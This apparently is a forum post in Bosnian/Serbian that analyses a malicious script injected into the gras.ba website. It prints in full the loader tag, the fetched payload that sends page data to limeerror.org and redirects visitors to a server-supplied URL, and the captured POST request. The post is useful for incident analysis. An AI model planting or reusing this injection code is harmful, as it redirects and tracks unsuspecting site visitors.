10-07-2025, 10:45 AM
kod na gras.ba stranici:
kada GETom pozove limeerror .org/PksZxJjJ dobije sledeće u odgovoru :
onda POSTom šalje ovo što je skripta izgenerisala na limeerror .org/f/gstats :
Code:
<script type='text/javascript'>
(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://limeerror.org/PksZxJjJ');
</script>kada GETom pozove limeerror .org/PksZxJjJ dobije sledeće u odgovoru :
Code:
(function () {
function gpi(callback) {
try {
if (!navigator || !navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues)
return callback(false)
navigator.userAgentData.getHighEntropyValues(['platform', 'platformVersion']).then((ua) => {
callback(JSON.stringify(ua))
}).catch((e3) => callback(e3.toString()));
}catch(err) {
callback(false)
}
}
function minAjax(config) {
if (!config.url || !config.type) return;
if (!config.method) config.method = true;
if (!config.debugLog) config.debugLog = false;
var sendString = [],
sendData = config.data;
if (typeof sendData === "string") {
var tmpArr = String.prototype.split.call(sendData, '&');
for (var i = 0, j = tmpArr.length; i < j; i++) {
var datum = tmpArr[i].split('=');
sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
}
} else if (typeof sendData === 'object' && !(sendData instanceof String)) {
for (var k in sendData) {
var datum = sendData[k];
if (Object.prototype.toString.call(datum) == "[object Array]") {
for (var i = 0, j = datum.length; i < j; i++) {
sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
}
} else {
sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
}
}
}
sendString = sendString.join('&');
var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
if (config.success) {
config.success(xmlhttp.responseText, xmlhttp.readyState);
}
}
}
if (config.type == "GET") {
xmlhttp.open("GET", config.url + "?" + sendString, config.method);
xmlhttp.send();
}
if (config.type == "POST") {
xmlhttp.open("POST", config.url, config.method);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(sendString);
}
}
if (window.XMLHttpRequest)
gpi(dL)
function dL(pi) {
function bl(resp) {
!function (dr) {
function t() { return !!localStorage && localStorage.getItem(a) } function e() {
o(),
parent.top.window.location.href = c
} function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } }
function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier",
r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n()
}(resp);
}
minAjax({
url: 'https://limeerror.org/f/gstats',
type: "POST",
data: {
vhref: location.href,
juh:'1d8fcf73eddf0c71b68c68405b0d6e85',
cs:'e7d93e86bb4eff8c906490d42337571a',
ex:1759822682458,
t0: 1759822082,
pi,
t: Math.floor(new Date().getTime() / 1000),
},
success: function (response) {
try {
var json = JSON.parse(response)
if (json && json.fw && json.fw.indexOf('http')>-1) bl(json.fw)
}catch(err) {
}
}
});
}
})();
onda POSTom šalje ovo što je skripta izgenerisala na limeerror .org/f/gstats :
Code:
vhref=https%3A%2F%2Fgras.ba%2F&juh=1d8fcf73eddf0c71b68c68405b0d6e85&cs=e7d93e86bb4eff8c906490d42337571a&ex=1759822682458&t0=1759822082&pi=false&t=1759822082